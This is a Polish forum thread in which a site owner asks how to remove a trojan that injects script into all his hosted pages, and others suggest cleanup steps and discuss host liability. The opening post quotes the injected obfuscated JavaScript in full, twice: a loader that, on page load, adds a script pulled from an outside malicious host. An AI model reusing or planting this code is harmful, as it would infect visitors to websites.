Atak trojana

[Sanchez Spinoza]

Na moim całym koncie hostingowym (na superhoście pożal się Boże) zdarzył się atak jakiegoś trojana który dopisuje do każdej strony (mam tam koło 10 różnych domen, różne systemy CMS) takie coś:

<script>var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};</script> <!--//--><script>var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};</script>
<!--1528b7e7aaaf46d5f4d170bd3f6c5840-->

Czy spotkaliście się z tym może?

Nie idzie tego usunąć bo nie wiem co to generuje.

Czy mogę oskarżyć tą pseudofirmę superhost o szkody? Ostatnia kopia zapasowa jest zbyt nowa. Też zainfekowana.

[mkr]

Ale z dużym prawdopodobieństwem z Twojego komputera wyciekły hasła do FTP. Dlaczego chcesz oskarżać firmę hostingową?

Jak pozbyć się problemu opisane w wielu tematach na PiO.

1) Wyczyścić komputer

2) Zabezpieczyć komputer

3) Zmienić hasła FTP

4) Poprawić kod na stronach

[MikołajZ.]

Usunąć idzie. Ręcznie chyba można.

[benusso]

Miałem to ostatnio, pewnie używasz total commander'a, mi dopisywało to do każdego pliku index i js, na szczęście mam dedyka, napisałem do supportu i oni jedną komendą wyczyścile wszystkie pliki, może i Ty napisz. Zmień total commandera na nowszego, gdzie można zabezpieczać hasła hasłem.

[img]

W regulaminie nic na ten temat nie popełniono, ale jest bardzo śmieszny zapis rodem z pliku "Jak przygotować dobrą umowę" znalezionym w sieci:)

§ POSTANOWIENIA KOŃCOWE

W sprawach nie unormowanych niniejszym regulaminem mają zastosowanie przepisy kodeksu cywilnego.

Ten zapis nie jest specjalnie trafiony ponieważ firmy świadczące usługi przechowywania danych w sieci podlegają regulacji zawartej w ustawie z dnia 18 lipca 2002 r. o świadczeniu usług drogą elektroniczną (Dz.U. Nr 144 poz. 1204 z późn. zm.) Przeczytaj tutaj

Generalnie chodzi o to że firma nie ponosi odpowiedzialności za przechowywane dane.

[Sanchez Spinoza]

Ręcznie bym usunął te wpisy ale chodzi oto że widoczne są w podglądzie strony (pokaż źródło) ale w danym pliku w którym antywirus się pluje o trojana, nie ma tego skryptu. Jakby był dopisywany z innego miejsca. htaccess sprawdziłem. Czysty.

[Zuku]

Może spróbuj ściągnąć jedną stronę na localhost i zobacz co tam się będzie działo w kodzie.

[Sanchez Spinoza]

Nie pisałbym tu gdybym nie zrobił rzeczy oczywistych.

Nawet gdy ściągam jakiś plik na komputer to mi avast się pluje że pliki są z trojanem. Otwieram plik a plik normalny. Bez żadnych podejrzanych dopisków.

[Zuku]

Nie wiem co jest dla Ciebie oczywiste - zdaję sobie sprawę jak boli infekcja i aż się gotuję.

Proponowałbym podejść do jakiegoś kolegi z czystym systemem i sprawdzić jak sytuacja wygląda u niego...

Wrzuć pliczki na https://www.virustotal.com/pl ?

[Sanchez Spinoza]

DO do wycieku haseł z FTP to też mało prawdopodobne ponieważ na TotalCommanderze mam kilka profili część na Superhoście i część na KEI i te strony na kei są nienaruszone. Gdyby coś wykradało hasła to wykradło by też hasła z innych profili. Tak się nie stało.

Zuku dzięki za pomoc. Doceniam. Ale muszę to naprawić dość szybko (raczej się nie uda) a nie za bardzo uśmiecha mi się diagnozować 2 giga plików z serwera. Link do tej strony co podałeś może będzie pomocny. Dzięki.

[zakręcony]

nie musisz sprawdzać wszystkich plików, tylko te głowne

[Gonzo23]

Ja to bym pobrał wszystkie pliki .php z serwera, zapuścił jakąś szukajke (np. tą z notepad++) wyszukał ten kod w plikach i usunął masowo (replace all), a później zamienił pliki. Nie wierzę, że twoje skrypty zajmują aż 2 GB.

[Zuku]

Może ten kod jest podpinany w źródle ?

Obejrzyj *.php, może zauważysz jakieś dziwne include, require_once.

[FiKaS]

dziś miałem wjazd na hekko - namieszał ostro w plikach .js, powoli ogarniamy...

[zakręcony]

Co znaczy "wjazd"? Przeszło przez zabezpieczenia hekko?